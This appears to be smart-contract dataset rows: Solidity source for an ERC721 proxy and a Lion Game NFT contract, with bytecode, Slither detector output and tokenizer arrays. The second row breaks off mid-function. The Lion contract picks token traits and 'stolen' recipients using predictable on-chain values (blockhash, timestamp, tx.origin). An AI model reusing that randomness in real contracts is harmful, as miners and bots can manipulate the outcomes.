╠▒╠j▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ // // ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒╠╓φ╙╙▒▒▒╠╙╓▒⌐╠▒▒▒▒▒╠⌐╚▒▒ ╠▒▒▒▒▒▒▒▒╓╠▒╠╓╓╓╙╙╙╙╙▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ // // ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒╠▒╓╓╓╓╓╓▒▒╠╠▒▒▒▒▒▒╠╠▒▒╠╠▒▒▒▒▒▒▒▒▒▒▒▒▒▒╠╠╠╠╠╠▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ // // ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ // // ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ // // ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ // // ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ // // ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ // // ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ // // ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ // // ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ // // ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ // // ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ // // // // // // // //////////////////////////////////////////////////////////////////////////////////////////////// contract NAME is ERC721Creator { constructor() ERC721Creator("The NameGame: NAME Token", "NAME") {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @author: manifold.xyz import "@openzeppelin/contracts/proxy/Proxy.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/StorageSlot.sol"; contract ERC721Creator is Proxy { constructor(string memory name, string memory symbol) { assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1)); StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = 0xe4E4003afE3765Aca8149a82fc064C0b125B9e5a; Address.functionDelegateCall( 0xe4E4003afE3765Aca8149a82fc064C0b125B9e5a, abi.encodeWithSignature("initialize(string,string)", name, symbol) ); } /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Returns the current implementation address. */ function implementation() public view returns (address) { return _implementation(); } function _implementation() internal override view returns (address) { return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (proxy/Proxy.sol) pragma solidity ^0.8.0; /** * @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM * instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to * be specified by overriding the virtual {_implementation} function. * * Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a * different contract through the {_delegate} function. * * The success and return data of the delegated call will be returned back to the caller of the proxy. */ abstract contract Proxy { /** * @dev Delegates the current call to `implementation`. * * This function does not return to its internall call site, it will return directly to the external caller. */ function _delegate(address implementation) internal virtual { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev This is a virtual function that should be overriden so it returns the address to which the fallback function * and {_fallback} should delegate. */ function _implementation() internal view virtual returns (address); /** * @dev Delegates the current call to the address returned by `_implementation()`. * * This function does not return to its internall call site, it will return directly to the external caller. */ function _fallback() internal virtual { _beforeFallback(); _delegate(_implementation()); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other * function in the contract matches the call data. */ fallback() external payable virtual { _fallback(); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data * is empty. */ receive() external payable virtual { _fallback(); } /** * @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback` * call, or as part of the Solidity `fallback` or `receive` functions. * * If overriden should call `super._beforeFallback()`. */ function _beforeFallback() internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol) pragma solidity ^0.8.0; /** * @dev Library for reading and writing primitive types to specific storage slots. * * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts. * This library helps with reading and writing to such slots without the need for inline assembly. * * The functions in this library return Slot structs that contain a `value` member that can be used to read or write. * * Example usage to set ERC1967 implementation slot: * ``` * contract ERC1967 { * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; * * function _getImplementation() internal view returns (address) { * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; * } * * function _setImplementation(address newImplementation) internal { * require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; * } * } * ``` * * _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._ */ library StorageSlot { struct AddressSlot { address value; } struct BooleanSlot { bool value; } struct Bytes32Slot { bytes32 value; } struct Uint256Slot { uint256 value; } /** * @dev Returns an `AddressSlot` with member `value` located at `slot`. */ function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `BooleanSlot` with member `value` located at `slot`. */ function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Bytes32Slot` with member `value` located at `slot`. */ function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Uint256Slot` with member `value` located at `slot`. */ function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) { assembly { r.slot := slot } } }
0x6080604052600436106100225760003560e01c80635c60da1b1461003957610031565b366100315761002f61006a565b005b61002f61006a565b34801561004557600080fd5b5061004e6100a5565b6040516001600160a01b03909116815260200160405180910390f35b6100a361009e7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b61010c565b565b60006100d87f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b905090565b90565b606061010583836040518060600160405280602781526020016102c260279139610130565b9392505050565b3660008037600080366000845af43d6000803e80801561012b573d6000f35b3d6000fd5b6060833b6101945760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084015b60405180910390fd5b600080856001600160a01b0316856040516101af9190610242565b600060405180830381855af49150503d80600081146101ea576040519150601f19603f3d011682016040523d82523d6000602084013e6101ef565b606091505b50915091506101ff828286610209565b9695505050505050565b60608315610218575081610105565b8251156102285782518084602001fd5b8160405162461bcd60e51b815260040161018b919061025e565b60008251610254818460208701610291565b9190910192915050565b602081526000825180602084015261027d816040850160208701610291565b601f01601f19169190910160400192915050565b60005b838110156102ac578181015183820152602001610294565b838111156102bb576000848401525b5050505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a264697066735822122017bedfd4e46da9d733ac0dcb97000a96aae4c8f57660c715e7fd0f1c5a8241c564736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 17465, 2050, 2683, 2050, 18139, 22907, 2692, 12740, 27531, 2094, 16147, 2575, 22394, 2063, 2683, 2683, 2050, 17788, 2692, 28154, 2575, 3676, 26187, 2575, 2581, 19481, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1013, 1013, 1030, 2516, 1024, 1996, 2171, 16650, 1024, 2171, 19204, 1013, 1013, 1013, 1030, 3166, 1024, 19726, 1012, 1060, 2100, 2480, 12324, 1000, 1012, 1013, 9413, 2278, 2581, 17465, 16748, 8844, 1012, 14017, 1000, 1025, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,661
0x9721DE7DFC53D3be40191aC9e932922885bdBD2D
// SPDX-License-Identifier: MIT LICENSE import "hardhat/console.sol"; pragma solidity ^0.8.5; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; import "@openzeppelin/contracts/security/Pausable.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "./ILioon.sol"; import "./ISafari.sol"; import "./STRIPES.sol"; contract Lioon is ILioon, ERC721Enumerable, Ownable, Pausable { // mint price uint256 public constant MINT_PRICE = .04 ether; uint256 public constant WL_MINT_PRICE = .035 ether; // max number of tokens that can be minted - 50000 in production uint256 public immutable MAX_TOKENS; // number of tokens that can be claimed for free - 20% of MAX_TOKENS uint256 public PAID_TOKENS; // number of tokens have been minted so far uint16 public minted; // reference to the Safari for choosing random Lion thieves ISafari public safari; // reference to $STRIPES for burning on mint STRIPES public stripes; string public baseZebraURI; string public baseLionURI; //Data for Stats uint256 public numZebrasMinted = 0; uint256 public numLionsMinted = 0; uint256 public numStolen = 0; //For Whitelist mapping(address => uint256) public whiteList; //Keep track of data mapping(uint256 => TokenMetadata) public _idData; /** * instantiates contract and rarity tables */ constructor(address _stripes, uint256 _maxTokens) ERC721("Lion Game", 'LGAME') { stripes = STRIPES(_stripes); MAX_TOKENS = _maxTokens; PAID_TOKENS = _maxTokens / 5; } /** EXTERNAL */ /** * mint a token - 90% Zebra, 10% Lions * The first 20% are free to claim, the remaining cost $STRIPES */ function mint(uint256 amount, bool stake) external payable whenNotPaused { require(tx.origin == _msgSender(), "Only EOA"); require(minted + amount <= MAX_TOKENS, "All tokens minted"); require(amount > 0 && amount <= 10, "Invalid mint amount"); if (minted < PAID_TOKENS) { require(minted + amount <= PAID_TOKENS, "All tokens on-sale already sold"); require(amount * MINT_PRICE == msg.value, "Invalid payment amount"); } else { require(msg.value == 0); } uint256 totalStripesCost = 0; uint16[] memory tokenIds = stake ? new uint16[](amount) : new uint16[](0); uint256 seed; for (uint i = 0; i < amount; i++) { minted++; seed = random(minted); _idData[minted] = generate(minted, seed); address recipient = selectRecipient(seed); if(recipient != _msgSender()){ numStolen++; } if (!stake || recipient != _msgSender()) { _mint(recipient, minted); } else { _mint(address(safari), minted); tokenIds[i] = minted; } totalStripesCost += mintCost(minted); } if (totalStripesCost > 0) stripes.burn(_msgSender(), totalStripesCost); if (stake) safari.addManyToSafariAndPack(_msgSender(), tokenIds); } function mintWhitelist(uint256 amount, bool stake) external payable whenNotPaused { require(tx.origin == _msgSender(), "Only EOA"); require(minted + amount <= MAX_TOKENS, "All tokens minted"); require(amount > 0 && amount <= 3, "Invalid mint amount"); require(whiteList[_msgSender()] >= amount, "Invalid Whitelist Amount"); require(amount * WL_MINT_PRICE == msg.value, "Invalid payment amount"); whiteList[_msgSender()] = whiteList[_msgSender()] - amount; uint16[] memory tokenIds = stake ? new uint16[](amount) : new uint16[](0); uint256 seed; for (uint i = 0; i < amount; i++) { minted++; seed = random(minted); _idData[minted] = generate(minted, seed); address recipient = _msgSender(); if (!stake) { _mint(recipient, minted); } else { _mint(address(safari), minted); tokenIds[i] = minted; } } if (stake) safari.addManyToSafariAndPack(_msgSender(), tokenIds); } /** * the first 20% are paid in ETH * the next 20% are 20000 $STRIPES * the next 40% are 40000 $STRIPES * the final 20% are 80000 $STRIPES * @param tokenId the ID to check the cost of to mint * @return the cost of the given token ID */ function mintCost(uint256 tokenId) public view returns (uint256) { if (tokenId <= PAID_TOKENS) return 0; if (tokenId <= MAX_TOKENS * 2 / 5) return 20000 ether; if (tokenId <= MAX_TOKENS * 4 / 5) return 40000 ether; return 80000 ether; } function transferFrom( address from, address to, uint256 tokenId ) public virtual override { // Hardcode the Safari's approval so that users don't have to waste gas approving if (_msgSender() != address(safari)) require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** INTERNAL */ /** * generates traits for a specific token, checking to make sure it's unique * @param tokenId the id of the token to generate traits for * @param seed a pseudorandom 256 bit number to derive traits from * @return t - a struct of traits for the given token ID */ function generate(uint256 tokenId, uint256 seed) internal returns (TokenMetadata memory t) { TokenMetadata memory newData; uint256 random1 = random(seed); uint256 random2 = random(seed + 1); newData.isLion = (random1 % 10 == 0); if(newData.isLion){ numLionsMinted++; } else{ numZebrasMinted++; } newData.alpha = uint8(5 + (random2 % 4)); return newData; } /** * the first 20% (ETH purchases) go to the minter * the remaining 80% have a 10% chance to be given to a random staked lion * @param seed a random value to select a recipient from * @return the address of the recipient (either the minter or the Lion thief's owner) */ function selectRecipient(uint256 seed) internal view returns (address) { if (minted <= PAID_TOKENS || ((seed >> 245) % 10) != 0) return _msgSender(); // top 10 bits haven't been used address thief = safari.randomLionOwner(seed >> 144); // 144 bits reserved for trait selection if (thief == address(0x0)) return _msgSender(); return thief; } /** * generates a pseudorandom number * @param seed a value ensure different outcomes for different sources in the same block * @return a pseudorandom value */ function random(uint256 seed) internal view returns (uint256) { return uint256(keccak256(abi.encodePacked( tx.origin, blockhash(block.number - 1), block.timestamp, seed ))); } /** READ */ function getPaidTokens() external view override returns (uint256) { return PAID_TOKENS; } function getTokenData(uint256 tokenId) external view returns (TokenMetadata memory) { return _idData[tokenId]; } function getStats() external view returns(uint256, uint256, uint256){ return(numZebrasMinted, numLionsMinted, numStolen); } /** ADMIN */ /** * called after deployment so that the contract can get random lion thieves * @param _safari the address of the Safari */ function setSafari(address _safari) external onlyOwner { safari = ISafari(_safari); } function setUris(string calldata _zebraUri, string calldata _lionUri) external onlyOwner { baseZebraURI = _zebraUri; baseLionURI = _lionUri; } function addToWhitelist(address[] memory toWhitelist) external onlyOwner { for(uint256 i = 0; i < toWhitelist.length; i++){ address idToWhitelist = toWhitelist[i]; whiteList[idToWhitelist] = 3; } } /** * allows owner to withdraw funds from minting */ function withdraw() external onlyOwner { payable(owner()).transfer(address(this).balance); } /** * updates the number of tokens for sale */ function setPaidTokens(uint256 _paidTokens) external onlyOwner { PAID_TOKENS = _paidTokens; } /** * enables owner to pause / unpause minting */ function setPaused(bool _paused) external onlyOwner { if (_paused) _pause(); else _unpause(); } /** RENDER */ function tokenURI(uint256 tokenId) public view override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); if(_idData[tokenId].isLion) { return string(abi.encodePacked(baseLionURI, Strings.toString(tokenId))); } else { return string(abi.encodePacked(baseZebraURI, Strings.toString(tokenId))); } } } // SPDX-License-Identifier: MIT pragma solidity >= 0.4.22 <0.9.0; library console { address constant CONSOLE_ADDRESS = address(0x000000000000000000636F6e736F6c652e6c6f67); function _sendLogPayload(bytes memory payload) private view { uint256 payloadLength = payload.length; address consoleAddress = CONSOLE_ADDRESS; assembly { let payloadStart := add(payload, 32) let r := staticcall(gas(), consoleAddress, payloadStart, payloadLength, 0, 0) } } function log() internal view { _sendLogPayload(abi.encodeWithSignature("log()")); } function logInt(int p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(int)", p0)); } function logUint(uint p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint)", p0)); } function logString(string memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(string)", p0)); } function logBool(bool p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool)", p0)); } function logAddress(address p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(address)", p0)); } function logBytes(bytes memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes)", p0)); } function logBytes1(bytes1 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes1)", p0)); } function logBytes2(bytes2 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes2)", p0)); } function logBytes3(bytes3 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes3)", p0)); } function logBytes4(bytes4 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes4)", p0)); } function logBytes5(bytes5 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes5)", p0)); } function logBytes6(bytes6 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes6)", p0)); } function logBytes7(bytes7 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes7)", p0)); } function logBytes8(bytes8 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes8)", p0)); } function logBytes9(bytes9 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes9)", p0)); } function logBytes10(bytes10 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes10)", p0)); } function logBytes11(bytes11 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes11)", p0)); } function logBytes12(bytes12 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes12)", p0)); } function logBytes13(bytes13 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes13)", p0)); } function logBytes14(bytes14 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes14)", p0)); } function logBytes15(bytes15 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes15)", p0)); } function logBytes16(bytes16 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes16)", p0)); } function logBytes17(bytes17 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes17)", p0)); } function logBytes18(bytes18 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes18)", p0)); } function logBytes19(bytes19 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes19)", p0)); } function logBytes20(bytes20 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes20)", p0)); } function logBytes21(bytes21 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes21)", p0)); } function logBytes22(bytes22 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes22)", p0)); } function logBytes23(bytes23 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes23)", p0)); } function logBytes24(bytes24 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes24)", p0)); } function logBytes25(bytes25 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes25)", p0)); } function logBytes26(bytes26 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes26)", p0)); } function logBytes27(bytes27 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes27)", p0)); } function logBytes28(bytes28 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes28)", p0)); } function logBytes29(bytes29 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes29)", p0)); } function logBytes30(bytes30 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes30)", p0)); } function logBytes31(bytes31 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes31)", p0)); } function logBytes32(bytes32 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes32)", p0)); } function log(uint p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint)", p0)); } function log(string memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(string)", p0)); } function log(bool p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool)", p0)); } function log(address p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(address)", p0)); } function log(uint p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint)", p0, p1)); } function log(uint p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string)", p0, p1)); } function log(uint p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool)", p0, p1)); } function log(uint p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address)", p0, p1)); } function log(string memory p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint)", p0, p1)); } function log(string memory p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string)", p0, p1)); } function log(string memory p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool)", p0, p1)); } function log(string memory p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address)", p0, p1)); } function log(bool p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint)", p0, p1)); } function log(bool p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string)", p0, p1)); } function log(bool p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool)", p0, p1)); } function log(bool p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address)", p0, p1)); } function log(address p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint)", p0, p1)); } function log(address p0, string memory p1) internal view { 